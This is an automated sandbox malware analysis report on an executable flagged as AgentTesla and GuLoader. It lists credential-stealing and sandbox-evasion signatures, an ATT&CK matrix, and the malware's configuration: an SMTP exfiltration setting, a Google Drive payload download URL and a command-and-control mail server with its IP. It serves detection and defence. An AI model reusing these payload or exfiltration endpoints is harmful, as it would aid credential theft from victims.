Automated Malware Analysis Report for Liquidaci#Ufffdn por ...

50
ID: 615124 Sample Name: Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe Cookbook: default.jbs Time: 19:42:29 Date: 25/04/2022 Version: 34.0.0 Boulder Opal

Transcript of Automated Malware Analysis Report for Liquidaci#Ufffdn por ...

ID: 615124Sample Name: Liquidaci#Ufffdnpor Factorizaci#Ufffdn deCr#Ufffdditos.exeCookbook: default.jbsTime: 19:42:29Date: 25/04/2022Version: 34.0.0 Boulder Opal

2444444444444555555555666677888888

101010101516

16171717171717171717171718181819191919202020202021212222222323

232324

Table of Contents

Table of ContentsWindows Analysis Report Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe

OverviewGeneral InformationDetectionSignaturesClassification

Process TreeMalware Configuration

Threatname: AgentteslaThreatname: GuLoader

Yara SignaturesMemory Dumps

Sigma SignaturesSnort SignaturesJoe Sandbox Signatures

AV DetectionNetworkingData ObfuscationMalware Analysis System EvasionAnti DebuggingHIPS / PFW / Operating System Protection EvasionStealing of Sensitive InformationRemote Access Functionality

Mitre Att&ck MatrixBehavior GraphScreenshots

ThumbnailsAntivirus, Machine Learning and Genetic Malware Detection

Initial SampleDropped FilesUnpacked PE FilesDomainsURLs

Domains and IPsContacted DomainsContacted URLsURLs from Memory and BinariesWorld Map of Contacted IPs

Public IPs

General InformationWarnings

SimulationsBehavior and APIs

Joe Sandbox View / ContextIPsDomainsASNsJA3 FingerprintsDropped Files

Created / dropped FilesC:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506C:\Users\user\AppData\Local\Temp\ArtDeco_green_1.bmpC:\Users\user\AppData\Local\Temp\Forelbige.extC:\Users\user\AppData\Local\Temp\microphone-hardware-disabled-symbolic.svgC:\Users\user\AppData\Local\Temp\nsoA828.tmp\System.dll\Device\ConDrv

Static File InfoGeneralFile IconStatic PE Info

GeneralAuthenticode SignatureEntrypoint PreviewRich HeadersData DirectoriesSectionsResourcesImportsVersion InfosPossible Origin

Network BehaviorNetwork Port DistributionTCP Packets

Copyright Joe Security LLC 2022 Page 2 of 50

26262626264647474747474747

474848484949

505050

50

UDP PacketsDNS QueriesDNS AnswersHTTP Request Dependency GraphHTTPS Proxied PacketsSMTP Packets

StatisticsBehavior

System BehaviorAnalysis Process: Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exePID: 7072, Parent PID: 5432

GeneralFile ActivitiesRegistry Activities

Analysis Process: CasPol.exePID: 400, Parent PID: 7072GeneralFile Activities

File CreatedFile WrittenFile Read

Analysis Process: conhost.exePID: 408, Parent PID: 400GeneralFile Activities

Disassembly

Copyright Joe Security LLC 2022 Page 3 of 50

Windows Analysis Report Liquidaci#U fdn por Factorizaci#U fdn de Cr#U fdditos.exe

Overview

General Information

Sample Name:

Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe

Analysis ID: 615124

MD5: 6b6bd25a3f0e24…

SHA1: d9c4384e0ecc21…

SHA256: 2ed3b8699c5693…

Infos:

Detection

AgentTeslaGuLoader

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Found malware configuration

Multi AV Scanner detection for subm…

Yara detected AgentTesla

Yara detected GuLoader

Hides threads from debuggers

Tries to steal Mail credentials (via fi…

Writes to foreign memory regions

Tries to harvest and steal Putty / W…

Tries to detect Any.run

Tries to harvest and steal ftp login c…

Tries to detect sandboxes and other…

C2 URLs / IPs found in malware con…

Queries sensitive network adapter in…

Tries to harvest and steal browser in…

Queries sensitive BIOS Information…

Uses 32bit PE files

Queries the volume information (nam…

May sleep (evasive loops) to hinder…

Contains functionality to shutdown /…

Uses code obfuscation techniques (…

Internet Provider seen in connection…

Detected potential crypto function

Sample execution stops while proce…

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in co…

Contains functionality to call native …

Contains functionality to dynamicall…

IP address seen in connection with …

Contains functionality for execution …

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / U…

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PE…

Uses a known web browser user age…

Detected TCP or UDP traffic on non…

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64native

Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe (PID: 7072 cmdline: "C:\Users\user\Desktop\Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe" MD5:

6B6BD25A3F0E2419EF5D628E66117E82)CasPol.exe (PID: 400 cmdline: "C:\Users\user\Desktop\Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B)

conhost.exe (PID: 408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cleanup

{ "Exfil Mode": "SMTP", "SMTP Info": "[email protected][email protected]"}

{ "Payload URL": "https://drive.google.com/uc?export=download&id=1F1Mc9Vh_X4KMsNX2l2mxKct0fg4HulwM"}

Source Rule Description Author Strings

00000001.00000002.10384703021.0000000003771000.00000040.00001000.00020000.00000000.sdmp

JoeSecurity_GuLoader_2

Yara detected GuLoader

Joe Security

Process Tree

Malware Configuration

Threatname: Agenttesla

Threatname: GuLoader

Yara Signatures

Memory Dumps

Copyright Joe Security LLC 2022 Page 4 of 50

AV Detection

Networking

Data Obfuscation

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

00000003.00000002.15206254157.000000001D591000.00000004.00000800.00020000.00000000.sdmp

JoeSecurity_AgentTesla_1

Yara detected AgentTesla

Joe Security

00000003.00000002.15206254157.000000001D591000.00000004.00000800.00020000.00000000.sdmp

JoeSecurity_CredentialStealer

Yara detected Credential Stealer

Joe Security

00000003.00000000.10264792485.0000000000F00000.00000040.00000400.00020000.00000000.sdmp

JoeSecurity_GuLoader_2

Yara detected GuLoader

Joe Security

Process Memory Space: CasPol.exe PID: 400 JoeSecurity_AgentTesla_1

Yara detected AgentTesla

Joe Security

Click to see the 1 entries

Source Rule Description Author Strings

There are no malicious signatures, There are no malicious signatures, click here to show all signaturesclick here to show all signatures ..

⊘ No Snort rule has matched

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

C2 URLs / IPs found in malware configuration

Yara detected GuLoader

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Hides threads from debuggers

Writes to foreign memory regions

Copyright Joe Security LLC 2022 Page 5 of 50

Stealing of Sensitive Information

Remote Access Functionality

InitialAccess

Execution PersistencePrivilegeEscalation

DefenseEvasion

CredentialAccess

DiscoveryLateralMovement

Collection ExfiltrationCommandandControl

NetworkEffects

RemoteServiceEffects

Impact

ValidAccounts

2 1 1WindowsManagementInstrumentation

1DLL Side-Loading

1DLL Side-Loading

1Disable orModifyTools

2OSCredentialDumping

2File andDirectoryDiscovery

RemoteServices

1ArchiveCollectedData

ExfiltrationOver OtherNetworkMedium

1IngressToolTransfer

Eavesdropon InsecureNetworkCommunication

RemotelyTrackDeviceWithoutAuthorization

1SystemShutdown/Reboot

DefaultAccounts

1Native API

1WindowsService

1AccessTokenManipulation

1ObfuscatedFiles orInformation

1Credentialsin Registry

1 1 7SystemInformationDiscovery

RemoteDesktopProtocol

2Data fromLocalSystem

ExfiltrationOverBluetooth

2 1EncryptedChannel

Exploit SS7to RedirectPhoneCalls/SMS

RemotelyWipe DataWithoutAuthorization

DeviceLockout

DomainAccounts

At (Linux) LogonScript(Windows)

1WindowsService

1DLL Side-Loading

SecurityAccountManager

1QueryRegistry

SMB/Windows AdminShares

1EmailCollection

AutomatedExfiltration

1Non-StandardPort

Exploit SS7to TrackDeviceLocation

ObtainDeviceCloudBackups

DeleteDeviceData

LocalAccounts

At(Windows)

LogonScript(Mac)

1 1 1ProcessInjection

3 4 1Virtualization/SandboxEvasion

NTDS 4 3 1SecuritySoftwareDiscovery

DistributedComponentObjectModel

1ClipboardData

ScheduledTransfer

2Non-ApplicationLayerProtocol

SIM CardSwap

CarrierBillingFraud

CloudAccounts

Cron NetworkLogonScript

NetworkLogonScript

1AccessTokenManipulation

LSASecrets

1ProcessDiscovery

SSH Keylogging DataTransferSize Limits

1 2 3ApplicationLayerProtocol

ManipulateDeviceCommunication

ManipulateApp StoreRankingsor Ratings

ReplicationThroughRemovableMedia

Launchd Rc.common

Rc.common

1 1 1ProcessInjection

CachedDomainCredentials

3 4 1Virtualization/SandboxEvasion

VNC GUI InputCapture

ExfiltrationOver C2Channel

MultibandCommunication

Jamming orDenial ofService

AbuseAccessibility Features

ExternalRemoteServices

ScheduledTask

StartupItems

StartupItems

CompileAfterDelivery

DCSync 1ApplicationWindowDiscovery

WindowsRemoteManagement

Web PortalCapture

ExfiltrationOverAlternativeProtocol

CommonlyUsed Port

Rogue Wi-Fi AccessPoints

DataEncryptedfor Impact

Yara detected AgentTesla

Tries to steal Mail credentials (via file / registry access)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to harvest and steal browser information (history, passwords, etc)

Yara detected AgentTesla

Mitre Att&ck Matrix

Behavior Graph

Copyright Joe Security LLC 2022 Page 6 of 50

Behavior Graph

ID: 615124

Sample: Liquidaci#Ufffdn por Factor...

Startdate: 25/04/2022

Architecture: WINDOWS

Score: 100

mail.ferdi.hu googlehosted.l.googleusercontent.com 2 other IPs or domains

Found malware configuration Multi AV Scanner detectionfor submitted file Yara detected GuLoader 3 other signatures

Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe

1 21

started

C:\Users\user\AppData\Local\...\System.dll, PE32

dropped

Writes to foreign memoryregions Tries to detect Any.run Hides threads from debuggers

CasPol.exe

11

started

mail.ferdi.hu

185.51.191.23, 49756, 587

TARHELYHU

Hungary

drive.google.com

142.250.185.174, 443, 49745

GOOGLEUS

United States

googlehosted.l.googleusercontent.com

172.217.16.129, 443, 49746

GOOGLEUS

United States

Tries to harvest andsteal Putty / WinSCP

information (sessions,passwords, etc)

Queries sensitive networkadapter information

(via WMI, Win32_NetworkAdapter,often done to detect

virtual machines)

Tries to steal Mailcredentials (via file/ registry access)

5 other signatures

conhost.exe

started

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots

Thumbnails

Copyright Joe Security LLC 2022 Page 7 of 50

Source Detection Scanner Label Link

Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe 8% Virustotal Browse

Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe 2% ReversingLabs

Source Detection Scanner Label Link

C:\Users\user\AppData\Local\Temp\nsoA828.tmp\System.dll 0% Metadefender Browse

C:\Users\user\AppData\Local\Temp\nsoA828.tmp\System.dll 0% ReversingLabs

⊘ No Antivirus matches

⊘ No Antivirus matches

Source Detection Scanner Label Link

127.0.0.1:HTTP/1.1 0% Avira URL Cloud safe

fedir.comsign.co.il/crl/ComSignSecuredCA.crl0 0% Virustotal Browse

fedir.comsign.co.il/crl/ComSignSecuredCA.crl0 0% Avira URL Cloud safe

www.e-me.lv/repository0 1% Virustotal Browse

www.e-me.lv/repository0 0% Avira URL Cloud safe

www.acabogacia.org/doc0 0% Avira URL Cloud safe

crl.chambersign.org/chambersroot.crl0 0% Avira URL Cloud safe

ocsp.suscerte.gob.ve0 0% Avira URL Cloud safe

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Copyright Joe Security LLC 2022 Page 8 of 50

www.postsignum.cz/crl/psrootqca2.crl02 0% Avira URL Cloud safe

crl.dhimyotis.com/certignarootca.crl0 0% Avira URL Cloud safe

www.mesince.com/policy/0 0% Avira URL Cloud safe

www.chambersign.org1 0% Avira URL Cloud safe

www.pkioverheid.nl/policies/root-policy0 0% Avira URL Cloud safe

www.suscerte.gob.ve/lcr0# 0% Avira URL Cloud safe

ca2.mtin.es/mtin/crl/MTINAutoridadRaiz0 0% Avira URL Cloud safe

crl.ssc.lt/root-c/cacrl.crl0 0% Avira URL Cloud safe

postsignum.ttc.cz/crl/psrootqca2.crl0 0% Avira URL Cloud safe

www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl 0% Avira URL Cloud safe

ca.disig.sk/ca/crl/ca_disig.crl0 0% Avira URL Cloud safe

www.certplus.com/CRL/class3P.crl0 0% Avira URL Cloud safe

www.suscerte.gob.ve/dpc0 0% Avira URL Cloud safe

www.certplus.com/CRL/class2.crl0 0% Avira URL Cloud safe

www.disig.sk/ca/crl/ca_disig.crl0 0% Avira URL Cloud safe

www.defence.gov.au/pki0 0% Avira URL Cloud safe

www.sk.ee/cps/0 0% Avira URL Cloud safe

www.globaltrust.info0= 0% Avira URL Cloud safe

cps.root-x1.letsencrypt.org0 0% Avira URL Cloud safe

policy.camerfirma.com0 0% Avira URL Cloud safe

www.ssc.lt/cps03 0% Avira URL Cloud safe

ocsp.pki.gva.es0 0% Avira URL Cloud safe

acraiz.icpbrasil.gov.br/DPCacraiz.pdf0? 0% Avira URL Cloud safe

ca.mtin.es/mtin/ocsp0 0% Avira URL Cloud safe

cps.letsencrypt.org0 0% Avira URL Cloud safe

crl.ssc.lt/root-b/cacrl.crl0 0% Avira URL Cloud safe

web.ncdc.gov.sa/crl/nrcacomb1.crl0 0% Avira URL Cloud safe

www.uce.gub.uy/informacion-tecnica/politicas/cp_acrn.pdf0G 0% Avira URL Cloud safe

https://wwww.certigna.fr/autorites/0m 0% Avira URL Cloud safe

www.ica.co.il/repository/cps/PersonalID_Practice_Statement.pdf0 0% Avira URL Cloud safe

https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www

0% Avira URL Cloud safe

ca.mtin.es/mtin/DPCyPoliticas0 0% Avira URL Cloud safe

https://hSv8qR2SzDYEFZneLg7J.com 0% Avira URL Cloud safe

www.globaltrust.info0 0% Avira URL Cloud safe

ac.economia.gob.mx/last.crl0G 0% Avira URL Cloud safe

https://www.catcert.net/verarrel 0% Avira URL Cloud safe

www.disig.sk/ca0f 0% Avira URL Cloud safe

www.sk.ee/juur/crl/0 0% Avira URL Cloud safe

crl.chambersign.org/chambersignroot.crl0 0% Avira URL Cloud safe

certs.oati.net/repository/OATICA2.crl0 0% Avira URL Cloud safe

crl.oces.trust2408.com/oces.crl0 0% Avira URL Cloud safe

www.quovadis.bm0 0% Avira URL Cloud safe

IOywau.com 0% Avira URL Cloud safe

crl.ssc.lt/root-a/cacrl.crl0 0% Avira URL Cloud safe

certs.oaticerts.com/repository/OATICA2.crl 0% Avira URL Cloud safe

www.trustdst.com/certificates/policy/ACES-index.html0 0% Avira URL Cloud safe

certs.oati.net/repository/OATICA2.crt0 0% Avira URL Cloud safe

www.accv.es00 0% Avira URL Cloud safe

www.pkioverheid.nl/policies/root-policy-G20 0% Avira URL Cloud safe

www.e-trust.be/CPS/QNcerts 0% Avira URL Cloud safe

ocsp.ncdc.gov.sa0 0% Avira URL Cloud safe

fedir.comsign.co.il/crl/ComSignCA.crl0 0% Avira URL Cloud safe

trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0 0% Avira URL Cloud safe

web.ncdc.gov.sa/crl/nrcaparta1.crl 0% Avira URL Cloud safe

mail.ferdi.hu 0% Avira URL Cloud safe

https://repository.luxtrust.lu0 0% Avira URL Cloud safe

cps.chambersign.org/cps/chambersroot.html0 0% Avira URL Cloud safe

www.acabogacia.org0 0% Avira URL Cloud safe

Source Detection Scanner Label Link

Copyright Joe Security LLC 2022 Page 9 of 50

www.uce.gub.uy/acrn/acrn.crl0 0% Avira URL Cloud safe

crl.mesince.com/ms.crl0 0% Avira URL Cloud safe

crl.securetrust.com/SGCA.crl0 0% Avira URL Cloud safe

fedir.comsign.co.il/cacert/ComSignAdvancedSecurityCA.crt0 0% Avira URL Cloud safe

www.agesic.gub.uy/acrn/acrn.crl0) 0% Avira URL Cloud safe

crl.securetrust.com/STCA.crl0 0% Avira URL Cloud safe

crl.mesince.com/ms-tsa.crl0F 0% Avira URL Cloud safe

r3.i.lencr.org/0 0% Avira URL Cloud safe

www.rcsc.lt/repository0 0% Avira URL Cloud safe

www2.postsignum.cz/crl/psrootqca2.crl01 0% Avira URL Cloud safe

x1.c.lencr.org/0 0% Avira URL Cloud safe

Source Detection Scanner Label Link

Name IP Active Malicious Antivirus Detection Reputation

drive.google.com 142.250.185.174 true false high

googlehosted.l.googleusercontent.com 172.217.16.129 true false high

mail.ferdi.hu 185.51.191.23 true true unknown

doc-0c-2o-docs.googleusercontent.com unknown unknown false high

Name Malicious Antivirus Detection Reputation

https://doc-0c-2o-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/bp0aag9i5ef1cv699367mhnadd9582eu/1650908625000/16604084202803386675/*/1F1Mc9Vh_X4KMsNX2l2mxKct0fg4HulwM?e=download

false high

Name Source Malicious Antivirus Detection Reputation

127.0.0.1:HTTP/1.1 CasPol.exe, 00000003.00000002.15206254157.000000001D591000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe low

fedir.comsign.co.il/crl/ComSignSecuredCA.crl0 CasPol.exe, 00000003.00000003.10533287924.0000000020699000.00000004.00000800.00020000.00000000.sdmp

false 0%, Virustotal, BrowseAvira URL Cloud: safe

unknown

https://doc-0c-2o-docs.googleusercontent.com/tography

CasPol.exe, 00000003.00000003.10358900357.00000000012B0000.00000004.00000020.00020000.00000000.sdmp

false high

www.e-me.lv/repository0 CasPol.exe, 00000003.00000003.10525913075.000000002077E000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10526561189.0000000020784000.00000004.00000800.00020000.00000000.sdmp

false 1%, Virustotal, BrowseAvira URL Cloud: safe

unknown

www.acabogacia.org/doc0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10531875778.00000000206AD000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

crl.chambersign.org/chambersroot.crl0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

ocsp.suscerte.gob.ve0 CasPol.exe, 00000003.00000003.10531875778.00000000206AD000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

www.postsignum.cz/crl/psrootqca2.crl02 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

crl.dhimyotis.com/certignarootca.crl0 CasPol.exe, 00000003.00000003.10526898028.0000000020774000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Copyright Joe Security LLC 2022 Page 10 of 50

sertifikati.ca.posta.rs/crl/PostaCARoot.crl0 CasPol.exe, 00000003.00000003.10531875778.00000000206AD000.00000004.00000800.00020000.00000000.sdmp

false high

www.mesince.com/policy/0 Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe

false Avira URL Cloud: safe unknown

www.chambersign.org1 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

www.pkioverheid.nl/policies/root-policy0 CasPol.exe, 00000003.00000003.10526786214.000000001F82A000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

repository.swisssign.com/0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10531875778.00000000206AD000.00000004.00000800.00020000.00000000.sdmp

false high

www.suscerte.gob.ve/lcr0# CasPol.exe, 00000003.00000003.10531875778.00000000206AD000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

ca2.mtin.es/mtin/crl/MTINAutoridadRaiz0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

crl.ssc.lt/root-c/cacrl.crl0 CasPol.exe, 00000003.00000003.10525913075.000000002077E000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10527245102.000000002077E000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10526972217.000000002077E000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

postsignum.ttc.cz/crl/psrootqca2.crl0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://drive.google.com/oe CasPol.exe, 00000003.00000002.15183206251.000000000123B000.00000004.00000020.00020000.00000000.sdmp

false high

ca.disig.sk/ca/crl/ca_disig.crl0 CasPol.exe, 00000003.00000002.15213552830.000000001F7D9000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

www.certplus.com/CRL/class3P.crl0 CasPol.exe, 00000003.00000003.10527099500.000000001F825000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

www.suscerte.gob.ve/dpc0 CasPol.exe, 00000003.00000003.10531875778.00000000206AD000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

www.certplus.com/CRL/class2.crl0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

www.disig.sk/ca/crl/ca_disig.crl0 CasPol.exe, 00000003.00000002.15213552830.000000001F7D9000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

eca.hinet.net/repository/Certs/IssuedToThisCA.p7b05CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false high

www.defence.gov.au/pki0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://drive.google.com/ CasPol.exe, 00000003.00000002.15183206251.000000000123B000.00000004.00000020.00020000.00000000.sdmp

false high

www.sk.ee/cps/0 CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

www.globaltrust.info0= CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe low

www.anf.es CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false high

Name Source Malicious Antivirus Detection Reputation

Copyright Joe Security LLC 2022 Page 11 of 50

www.pki.admin.ch/cps/CPS_2_16_756_1_17_3_1_0.pdf09

CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false high

pki.registradores.org/normativa/index.htm0 CasPol.exe, 00000003.00000003.10527099500.000000001F825000.00000004.00000800.00020000.00000000.sdmp

false high

cps.root-x1.letsencrypt.org0 CasPol.exe, 00000003.00000002.15213552830.000000001F7D9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10517276404.000000001F7FC000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.15213389429.000000001F7BA000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10520257216.000000001F7FA000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.15207830979.000000001D6AC000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10508659557.000000001F7FF000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10507944663.000000001F7FF000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.15217426680.000000002078E000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10533101751.000000001F816000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

policy.camerfirma.com0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

www.ssc.lt/cps03 CasPol.exe, 00000003.00000003.10525913075.000000002077E000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10527245102.000000002077E000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10526972217.000000002077E000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

ocsp.pki.gva.es0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

www.anf.es/es/address-direccion.html CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false high

acraiz.icpbrasil.gov.br/DPCacraiz.pdf0? CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

ca.mtin.es/mtin/ocsp0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

cps.letsencrypt.org0 CasPol.exe, 00000003.00000002.15213552830.000000001F7D9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10517276404.000000001F7FC000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.15213389429.000000001F7BA000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10520257216.000000001F7FA000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.15207830979.000000001D6AC000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10508659557.000000001F7FF000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10507944663.000000001F7FF000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10533101751.000000001F816000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

crl.ssc.lt/root-b/cacrl.crl0 CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

web.ncdc.gov.sa/crl/nrcacomb1.crl0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

Name Source Malicious Antivirus Detection Reputation

Copyright Joe Security LLC 2022 Page 12 of 50

www.uce.gub.uy/informacion-tecnica/politicas/cp_acrn.pdf0G

CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

crl.pki.wellsfargo.com/wsprca.crl0 CasPol.exe, 00000003.00000003.10531875778.00000000206AD000.00000004.00000800.00020000.00000000.sdmp

false high

https://wwww.certigna.fr/autorites/0m CasPol.exe, 00000003.00000003.10526898028.0000000020774000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

www.ica.co.il/repository/cps/PersonalID_Practice_Statement.pdf0

CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www

CasPol.exe, 00000003.00000002.15206254157.000000001D591000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

ca.mtin.es/mtin/DPCyPoliticas0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://hSv8qR2SzDYEFZneLg7J.com CasPol.exe, 00000003.00000002.15207279366.000000001D63A000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

